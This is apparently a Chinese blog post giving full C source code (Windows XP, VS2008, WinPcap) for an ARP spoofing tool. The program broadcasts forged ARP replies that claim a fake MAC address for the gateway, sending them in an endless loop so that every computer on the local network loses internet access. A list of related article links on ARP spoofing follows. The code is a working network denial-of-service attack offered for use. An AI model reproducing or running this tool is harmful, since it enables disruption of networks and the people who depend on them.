向局域网发送ARP应答包,向局域网所有主机发送错误的网关MAC地址,这样所有的计算机都不能上网了

源代码

环境 :windows xp ,vs2008,安装winpacp

开发包:winpacp

字符集:ASCII

#define WINVER 0x5001 //win xp
#define HAVE_REMOTE
#include <stdio.h>
#include <pcap.h>
#include <Packet32.h>
#include <windows.h>
#include <shlwapi.h>#pragma comment(lib,"shlwapi.lib")
#pragma comment(lib,"wpcap.lib")
#pragma comment(lib,"Packet.lib")#define EPT_IP 0x0800//IP协议
#define EPT_ARP 0x0806//ARP协议
#define EPT_RARP 0x8035// RARP协议
#define ARP_HARDWARE 0x0001/802.3 以太网
#define ARP_REQUEST 0x0001 //ARP 请求
#define ARP_REPLY 0x0002// ARP 应答
#define Max_Num_Adapter 10
#pragma pack(push, 1)
typedef struct ehhdr
{ unsigned char eh_dst[6]; //目标MAC地址unsigned char eh_src[6]; //源MAC地址unsigned short eh_type; //帧类型
} EHHDR, *PEHHDR;typedef struct arphdr
{ unsigned short arp_hrd; //hardware unsigned short arp_pro; //protocol  unsigned char arp_hln; //6unsigned char arp_pln; //4unsigned short arp_op; //ARP/RARP选项 unsigned char arp_sha[6]; //发送者MACunsigned long arp_spa; //发送者IPunsigned char arp_tha[6]; //目标MACunsigned long arp_tpa; //目标IP
}ARPHDR, *PARPHDR;
//获得MAC
void GetMacAddr(char *MacAddr,unsigned char *pbuff)
{ char temp[5]="0x\0\0";char *temp_1=temp+2;int n;for(int i=0;i<12;i+=2){memcpy(temp_1,MacAddr,2);StrToIntEx(temp,STIF_SUPPORT_HEX,&n);pbuff[i/2]=(unsigned char)n;MacAddr+=2;}}
//ARP包结构
typedef struct arpPacket
{ EHHDR ehhdr; ARPHDR arphdr;
} ARPPACKET, *PARPPACKET;
#pragma pack(pop)
int main()
{static char AdapterList[Max_Num_Adapter][1024]; char szPacketBuf[600]; LPADAPTER lpAdapter; LPPACKET lpPacket; char AdapterName[2048]; char *temp, *temp1; ARPPACKET ARPPacket; ULONG AdapterLength = 1024; int AdapterNum = 0; int nRetCode, i;//获得适配器列表 if (PacketGetAdapterNames(AdapterName, &AdapterLength) == FALSE) { printf("不能获得适配器列表!\n"); return 0; }//处理适配器名temp = AdapterName; temp1 = AdapterName; i = 0; while ((*temp != '\0') || (*(temp - 1) != '\0')) { if (*temp == '\0') {memcpy(AdapterList[i], temp1, (temp - temp1)); temp1 = temp + 1; i++; } temp++; }AdapterNum = i; for (i = 0; i < AdapterNum; i++)printf("\n%d- %s\n", i + 1, AdapterList[i]); printf("请输入适配器的序号:");int nSelect;scanf("%d",&nSelect);//打开适配器lpAdapter = (LPADAPTER)PacketOpenAdapter(AdapterList[nSelect-1]);if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { nRetCode = GetLastError(); printf("不能打开驱动,错误码为: %lx\n", nRetCode); return 1; }//分配包内存lpPacket=PacketAllocatePacket();if (lpPacket == NULL) { printf("错误:分配包内存空间失败!\n");return 2; }ZeroMemory(szPacketBuf, sizeof(szPacketBuf));GetMacAddr("28C0DA06EC84",ARPPacket.ehhdr.eh_src);//源MAC地址GetMacAddr("FFFFFFFFFFFF",ARPPacket.ehhdr.eh_dst);//MAC广播ARPPacket.ehhdr.eh_type=htons(EPT_ARP);ARPPacket.arphdr.arp_hrd=htons(ARP_HARDWARE);ARPPacket.arphdr.arp_pro=htons(EPT_IP);ARPPacket.arphdr.arp_hln=6;ARPPacket.arphdr.arp_pln=4;ARPPacket.arphdr.arp_op=htons(ARP_REPLY);GetMacAddr("28C0DA06EC88",ARPPacket.arphdr.arp_sha);//()发送者MAC,假的ARPPacket.arphdr.arp_spa=inet_addr("114.213.68.1");//网关IPGetMacAddr("FFFFFFFFFFFF",ARPPacket.arphdr.arp_tha);//广播MACARPPacket.arphdr.arp_tpa=inet_addr("255,255,255,255");//广播IPmemcpy(szPacketBuf, (char*) &ARPPacket, sizeof(ARPPacket));PacketInitPacket(lpPacket, szPacketBuf, 60);//初始化包if (PacketSetNumWrites(lpAdapter, 2) == FALSE) {printf("警告: Unable to send more than one packet in a single write ! \n ");getchar();}//不停发送ARP欺骗包while(true){if (PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE) { printf("Error sending the packets!\n"); getchar();return 3; } }printf("Send ok!\n"); //关闭包并退出PacketFreePacket(lpPacket); PacketCloseAdapter(lpAdapter);scanf("%d",&i);return 0;
}

ARP网关欺骗程序的实现(vs2008 winpacp)相关推荐

  1. linux内核arp访欺骗配置,Linux防止ARP欺骗攻击

    之前有介绍ARP攻击测试及查找ARP攻击源,本次记录下如何防止ARP攻击. 1.ARP网关欺骗攻击解决,静态绑定网关MAC与IP.arp -s 192.168.1.1 00:1f:a3:65:55:8 ...

  2. ARP ICMP欺骗

    ARP & ICMP欺骗 对于旁观者来说,事物的缺点和优点往往是同时存在的.我很高兴可以向你们显示两 个正规的协议--arp和icmp,当你用一些特殊的方法使用它们的时候,却得到意想不到的结果 ...

  3. 分析ARP***与欺骗

    分析ARP***与欺骗 如上图所示,路由器的IP地址为:192.168.1.1,也是两台主机A.B的网关:交换机只需开启端口,不做任何设置:主机A作为***者,桥接到虚拟机windowsXP,IP地址 ...

  4. pythonarp工具_Python 实现ARP扫描欺骗工具

    实现简单的ARP扫描工具: 传入扫描参数main.py -a 192.168.1.1-100 扫描网段内所有的在线主机并显示其MAC地址. from scapy.all import * from o ...

  5. WinArpspoofer网关欺骗

    今天朋友问我知道WinArpspoofer网关欺骗吗. 我不知道,然后上网搜索了一下,才发现原来是最近MSN窃听事件所用的工具 后来我这朋友也想测试玩玩,我特意上网上找了会,没找着,结果找到了别人修改 ...

  6. ARP的欺骗原理和攻防

    <信息安全与攻击防范>课程论文 --ARP的欺骗原理和攻防 ARP协议是什么 ARP(AddressResolutionProtocol),即地址解析协议.其基本功能通过目标设备的IP地址 ...

  7. 深入剖析ARP地址欺骗病毒原理及欺骗过程

    ARP地址欺骗类病毒发作的时候会向全网发送伪造的ARP数据包,干扰全网的运行,它的危害比一些蠕虫还要严重.本文从网络结构模型深入浅出的向大家讲解了ARP病毒及ARP地址欺骗的原理及表现形式. AD: ...

  8. Python-scapy(白帽)[ARP无法欺骗手机吗][DNS欺骗不了https吗]

    一.scapy基础 1.用法 1.1 导入 from scapy.all import * 1.2 分层 内网:p = Ether()/ARP() 外网:p = IP()/UDP()/DNS() 区别 ...

  9. Linux下做一个arp欺骗程序6,LINUX下防ARP欺骗攻击

    arp欺骗的原理不多述,基本就是利用发送假的arp数据包,冒充网关.一般在网上通讯的时候网关的IP和MAC的绑定是放在arp 缓存里面的,假的arp包就会刷新这个缓存,导致本该发送到网关的数据包发到了 ...

  10. kali局域网ARP攻击欺骗+图片获取

    kali局域网ARP攻击二 再次声明: 小白一枚 小白一枚 小白一枚 更多教程和软件尽在:https://xiaobaif.cn 第一次我们写到ARP的断网攻击,使目标IP的网络不可以使用,这样很容易 ...

最新文章

  1. wpf中xaml的类型转换器与标记扩展
  2. Sqoop找不到主类 Error: Could not find or load main class org.apache.sqoop.Sqoop
  3. 面试|图解kafka的高可用机制
  4. NGINX访谈:软件负载均衡、API网关和服务网格的企业采用状况
  5. db2分页查询sql语句_MySQL学习(八):SQL查询语句的用法和优化
  6. oracle grid需要安装,Oracle 11g Grid for Linux安装指南
  7. JavaWeb——EL表达式
  8. 代码的简单就在于——直接能看懂
  9. java发送post请求json格式_go语言web开发框架学习系列二:Get、Post、Put等请求及数据返回格式...
  10. 利用EA根据sql脚本生成数据库文档
  11. Android Stuido 快速设置成eclipse的快捷键习惯
  12. Zookeeper-watcher机制源码分析(一)
  13. TP5在json入库多出来反斜杠
  14. 编写iptables模块实现不连续IP地址的DNAT-POOL
  15. 安卓SDK——人脸识别
  16. ucenter mysql账号_利用apache+php+mysql安装ucenter
  17. 游戏设计师修炼之道:数据驱动的游戏设计
  18. IP、服务器、路由器配置
  19. 【PB】Windows 状态条控件在 PB 中的运用
  20. JQuery模仿淘宝天猫魔盒抢购页面倒计时效果

热门文章

  1. 蓝牙天线的介绍与选用
  2. 三菱PlC程序大型项目QCPU+QD77MS16 宝贝包含一套完整的电气开发系统资料(包含plc程序,触摸屏程序,伺服模块设置程序,程序开发地址规划表)
  3. 深入理解机械臂动力学建模
  4. python飞机大战源代码百度云_Python版飞机大战源码和素材包括有声音
  5. excel内容合并脚本
  6. Python--随机森林模型
  7. lammps教程:薄膜渗透过滤模拟--平衡弛豫过程
  8. lammps教程:create_box 命令详解
  9. Android10手机无法拉起微信小程序解决方案
  10. nekohtml转换html时标签变大写的问题